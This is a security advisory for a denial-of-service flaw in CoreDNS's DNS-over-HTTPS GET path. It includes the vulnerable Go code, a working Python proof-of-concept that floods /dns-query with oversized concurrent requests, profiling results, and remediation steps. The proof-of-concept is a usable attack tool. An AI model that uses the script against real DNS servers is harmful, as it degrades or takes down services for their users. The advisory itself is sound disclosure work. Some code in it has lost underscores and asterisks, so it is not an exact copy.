CVE-2026-32936: CoreDNS DoH GET path missing size validation causes CPU and memory amplification
Summary
CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.
This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.
Details
The vulnerable flow is in plugin/pkg/doh/doh.go:
- RequestToMsg() dispatches GET requests to requestToMsgGet(): - plugin/pkg/doh/doh.go:79-89 - requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg(): - plugin/pkg/doh/doh.go:99-108 - base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message: - plugin/pkg/doh/doh.go:121-130
Relevant snippet:
go func requestToMsgGet(req http.Request) (dns.Msg, error) { values := req.URL.Query() b64, ok := values["dns"] if !ok { return nil, fmt.Errorf("no 'dns' query parameter found") } if len(b64) != 1 { return nil, fmt.Errorf("multiple 'dns' query values found") } return base64ToMsg(b64[0]) }
func base64ToMsg(b64 string) (dns.Msg, error) { buf, err := b64Enc.DecodeString(b64) if err != nil { return nil, err }
m := new(dns.Msg) err = m.Unpack(buf)
return m, err }
By contrast, the POST path applies a bounded read before unpacking:
go func toMsg(r io.ReadCloser) (dns.Msg, error) { buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err }
So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.
In addition, the HTTPS server is created in core/dnsserver/serverhttps.go:87-92 without an explicit early GET-path size guard in this path:
go srv := &http.Server{ ReadTimeout: s.ReadTimeout, WriteTimeout: s.WriteTimeout, IdleTimeout: s.IdleTimeout, ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), }
As a result, oversized DoH GET request targets are processed through:
1. HTTP request-line parsing 2. URL query parsing / unescaping 3. DoH GET extraction 4. base64 decoding 5. DNS message unpacking
before the request is rejected.
Root cause
The root cause is missing early size validation on the DoH GET path.
More specifically:
requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets. The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound. base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection. The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.
This creates a pre-validation resource-amplification path for DoH GET.
PoC
Local test setup
This was reproduced locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.
Create a self-signed certificate:
bash openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \ -keyout key.pem -out cert.pem \ -subj "/CN=127.0.0.1"
Create this Corefile:
txt https://127.0.0.1:8443 { whoami log errors tls cert.pem key.pem pprof 127.0.0.1:6060 }
Run CoreDNS:
bash ./coredns -conf Corefile
Proof-of-concept script
python #!/usr/bin/env python3 import argparse import base64 import collections import concurrent.futures import http.client import ssl import time
def sendone(host, port, path, timeout): ctx = ssl.createunverifiedcontext() conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx) try: conn.request("GET", path, headers={ "Accept": "application/dns-message", "Connection": "close", }) resp = conn.getresponse() resp.read() return resp.status except Exception as e: return f"ERR:{type(e).name}" finally: try: conn.close() except Exception: pass
def main(): ap = argparse.ArgumentParser() ap.addargument("--host", default="127.0.0.1") ap.addargument("--port", type=int, default=8443) ap.addargument("--decoded-kib", type=int, default=720) ap.addargument("--workers", type=int, default=64) ap.addargument("--requests", type=int, default=5000) ap.addargument("--timeout", type=float, default=5.0) args = ap.parseargs()
raw = b"A" (args.decodedkib 1024) b64 = base64.urlsafeb64encode(raw).rstrip(b"=").decode() path = "/dns-query?dns=" + b64
print(f"[+] target = https://{args.host}:{args.port}") print(f"[+] decoded bytes = {len(raw):,}") print(f"[+] encoded chars = {len(b64):,}") print(f"[+] request-target length = {len(path):,}") print(f"[+] workers = {args.workers}, requests = {args.requests}") print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")
started = time.time() results = collections.Counter()
with concurrent.futures.ThreadPoolExecutor(maxworkers=args.workers) as ex: futs = [ ex.submit(sendone, args.host, args.port, path, args.timeout) for in range(args.requests) ] for i, fut in enumerate(concurrent.futures.ascompleted(futs), 1): results[fut.result()] += 1 if i % 10 == 0 or i == args.requests: print(f"[{i}/{args.requests}] {dict(results)}")
elapsed = time.time() - started print("\n[+] done") print(f"[+] elapsed = {elapsed:.2f}s") print(f"[+] summary = {dict(results)}")
if name == "main": main()
Run the PoC:
bash python3 pocdohgetoversizehttps.py \ --host 127.0.0.1 \ --port 8443 \ --decoded-kib 720 \ --workers 64 \ --requests 5000
Profiling commands used during reproduction
CPU profile:
bash (curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpuattack.pb.gz &) ; \ sleep 1 ; \ python3 pocdohgetoversizehttps.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \ wait
go tool pprof -top ./coredns cpuattack.pb.gz
Heap / allocation profiles:
bash curl -s http://127.0.0.1:6060/debug/pprof/heap -o heapbefore.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocsbefore.pb.gz
python3 pocdohgetoversizehttps.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heapafter.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocsafter.pb.gz
go tool pprof -top -base heapbefore.pb.gz ./coredns heapafter.pb.gz go tool pprof -top -base allocsbefore.pb.gz ./coredns allocsafter.pb.gz
Reproduction results
The issue was confirmed using the following:
CoreDNS 1.14.2 linux/amd64 go1.26.1
PoC payload characteristics:
decoded payload size: 737,280 bytes base64url-encoded dns length: 983,040 request-target length: 983,055
Observed request outcome:
5000 / 5000 requests returned 400 Bad Request total runtime for the 5000-request run: 18.22s
The important point is that the requests are rejected only after expensive processing has already happened.
CPU profile highlights
The CPU profile captured during the attack showed significant time in:
net/http.readRequest net/url.ParseQuery / net/url.QueryUnescape / net/url.unescape github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg encoding/base64.(Encoding).DecodeString Go GC worker paths
Representative cumulative values from the captured profile included:
github.com/coredns/coredns/core/dnsserver.(ServerHTTPS).ServeHTTP → 10.91s github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 10.88s github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 10.88s github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 3.50s encoding/base64.(Encoding).DecodeString → 3.46s net/http.readRequest → 10.57s net/url.(URL).Query / ParseQuery / QueryUnescape → 7.38s runtime.gcBgMarkWorker and related GC paths were also heavily active
This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.
Allocation profile highlights
Allocation profiling showed very large transient allocation volume caused by the rejected requests:
total allocspace: 26,756.48 MB
Top contributors included:
net/textproto.(Reader).readLineSlice → 19,668.19 MB net/textproto.(Reader).ReadLine → 3,738.84 MB encoding/base64.(Encoding).DecodeString → 2,766.16 MB
Within the CoreDNS DoH GET path specifically:
github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 2,775.67 MB github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 2,775.67 MB github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 2,773.67 MB
Heap delta (inusespace) also showed live growth attributable to this path, including:
encoding/base64.(Encoding).DecodeString → 7,629.75 kB
Memory observations
Runtime memory monitoring showed a clear increase in peak resident usage during the attack:
baseline VmHWM / VmRSS before load was approximately 55,864 kB observed VmHWM during testing reached approximately 146,100 kB
So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.
Impact
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.
Impact includes:
elevated CPU consumption large transient allocations increased garbage-collection pressure higher peak resident memory usage degraded throughput and responsiveness denial of service risk on memory-constrained or heavily loaded deployments
This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.
The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.
Suggested remediation
A robust fix should address both stages of the problem:
1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing. 2. Enforce an encoded-length and decoded-length limit for the dns parameter before calling DecodeString(). 3. Preserve equivalent size constraints across GET and POST paths.
A minimal hardening direction would be:
reject oversized GET requests before req.URL.Query() on the DoH path reject dns values whose encoded length exceeds the maximum valid DNS message encoding reject any decoded payload larger than the supported DNS message size before unpacking
Other sources
CoreDNS DoH GET path missing size validation causes CPU and memory amplification
— Microsoft
CoreDNS is a DNS server that chains plugins. In versions prior to 1.14.3, the DNS-over-HTTPS (DoH) GET path accepts oversized dns= query parameter values and performs URL query parsing, base64 decoding, and DNS message unpacking before rejecting the request. Unlike the POST path, which applies a bounded read via http.MaxBytesReader limited to 65536 bytes, the GET path has no equivalent size validation before expensive processing. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to force high CPU usage, large transient memory allocations, and elevated garbage-collection pressure, leading to denial of service. This issue has been fixed in version 1.14.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/coredns/corednsto a version that resolves this vulnerability.Fixed in 1.14.3 - Upgrade
Upgrade
CoreDNSto a version that resolves this vulnerability.Fixed in 1.14.3 - Configuration
Implement an early guard on the DoH GET query target length and on the dns parameter’s encoded-length and decoded-length. Specifically: (1) reject oversized GET request targets before calling req.URL.Query() on the DoH path; (2) enforce encoded-length and decoded-length limits for the dns parameter before base64ToMsg() calls b64Enc.DecodeString(); and (3) reject any decoded payload larger than the supported DNS message size before unpacking.
CoreDNS DoH GET handler (plugin/pkg/doh/doh.go) Early size validation for DoH GET request target / raw query length for dns parameter = Reject before req.URL.Query() and before base64 decoding when dns encoded length exceeds the maximum valid DNS message encoding; also reject when decoded payload would exceed the supported DNS message size before calling DecodeString() / unpacking
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32936?
CVE-2026-32936 is a medium severity vulnerability that can lead to denial of service due to the processing of oversized DNS-over-HTTPS requests.
How do I fix CVE-2026-32936?
To mitigate CVE-2026-32936, update CoreDNS to version 1.14.3 or later.
What is affected by CVE-2026-32936?
CVE-2026-32936 affects versions of CoreDNS prior to 1.14.3.
What type of attack does CVE-2026-32936 enable?
CVE-2026-32936 enables denial of service attacks through the acceptance of oversized DNS-over-HTTPS query values.
Who can exploit CVE-2026-32936?
CVE-2026-32936 can be exploited by remote, unauthenticated attackers.